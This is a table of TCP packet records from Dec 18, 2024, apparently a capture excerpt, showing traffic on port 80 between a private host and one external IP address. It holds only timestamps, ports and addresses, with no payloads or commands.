Dec 18, 2024 13:49:51.727632046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.727857113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.728079081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.728250027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.728404045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.729211092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.729295969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.729551077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.730113983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.730313063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.730422020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.731128931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.731307983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.731391907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.732096910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.732384920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.732480049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.732976913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.733264923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.733364105 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.743864059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.744215965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.744432926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.744448900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.744482040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.744594097 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.745264053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.745277882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.745793104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.746201992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.746217966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.746467113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.747183084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.747201920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.747309923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.748090029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.748107910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.748158932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.749013901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.749028921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.749041080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.749121904 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.749977112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.749989033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.750102997 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.750835896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.750849962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.751055002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.751777887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.751827002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.752012014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.752751112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.752795935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.752962112 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.753650904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.753664017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.753674984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.753755093 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.753819942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.754652023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.754667044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.754741907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.755561113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.755575895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.755655050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.756469011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.756483078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.756570101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.757352114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.757421017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.757759094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.758306980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.758321047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.758332968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.758415937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.759258986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.759274006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.759423018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.760175943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.760189056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.760348082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.761125088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.761137962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.761215925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.762073040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.762087107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.762099028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.762176037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.762176037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.762978077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.762998104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.763149977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.763915062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.763931036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.763997078 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.764867067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.764885902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.765057087 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.765815020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.765829086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.765945911 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.766746998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.766771078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.766855955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.767672062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.767729998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.767798901 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.768600941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.768619061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.768687010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.769520998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.769537926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.769598007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.770436049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.770448923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.770459890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.770517111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.771428108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.771440029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.771563053 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.772355080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.772370100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.772470951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.773252010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.773266077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.773386955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.774194002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.774209976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.774220943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.774329901 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.775151014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.775170088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.775571108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.776067019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.776082993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.776141882 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.777012110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.777025938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.777118921 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.777921915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.777935982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.778002024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.778837919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.778851032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.778876066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.778949022 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.779825926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.779841900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.779915094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.780690908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.780760050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.917273998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.917434931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.917516947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.917979002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.918229103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.918406010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.918499947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.918900967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.918997049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.919471979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.919945002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.920011997 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.920456886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.920758963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.920795918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.921828032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.922015905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.922116995 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.922682047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.922909975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.922966957 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.923494101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.923703909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.924149990 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.924473047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.924724102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.924839973 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.925609112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.925923109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.926057100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.928735018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.928752899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.928860903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.929562092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.929578066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.929765940 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.930386066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.930401087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.930452108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.931739092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.931752920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.931962013 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.932539940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.932553053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.932607889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.933572054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.934449911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.934464931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.934475899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.934505939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.934557915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.935184002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.935197115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.935246944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.937186956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.937201023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.937314034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.937803984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.937819004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.937882900 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.938508987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.938522100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.938576937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.938993931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.939006090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.939060926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.939704895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.939718962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.939995050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.940552950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.940567017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.940629005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.941402912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.942428112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.942481995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.942517042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.942989111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.943100929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.944086075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.944099903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.944144964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.944811106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.944823980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.944864988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.945633888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.945650101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.945745945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.946449995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.946465969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.946576118 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.947276115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.947711945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.947844028 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.948163986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.948178053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.948218107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.948956966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.949501038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.949542046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.949850082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.950407028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.950478077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.950815916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.951165915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.951221943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.951778889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.951948881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.952275038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.952764034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.953109980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.953165054 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.953721046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.953936100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.953995943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.954669952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.954930067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.955017090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.955713034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.955986023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.956099033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.956717014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.956948042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.957000971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.957751036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.957936049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.958121061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.958755970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.958951950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.959217072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.959836960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.960199118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.960262060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.960931063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.961183071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.961230993 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.962073088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.962295055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.962371111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.963052988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.963283062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.963499069 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.964065075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.964318991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.964420080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.965092897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.965250969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.965322018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.966123104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.966222048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.966301918 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.966913939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.967124939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.967215061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.967909098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.968153954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.968343973 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.968837023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.969147921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.969218016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.969760895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.009403944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.109559059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.109889030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.110003948 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.110311031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.110825062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.110969067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.111155033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.111567974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.111675024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.112073898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.112448931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.112555981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.113137960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.113240957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.113308907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.114193916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.114278078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.114500999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.115024090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.115257978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.115335941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.116085052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.116305113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.116425037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.117141008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.117399931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.117464066 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.118120909 CET	80	49822	176.113.115.178	192.168.2.6
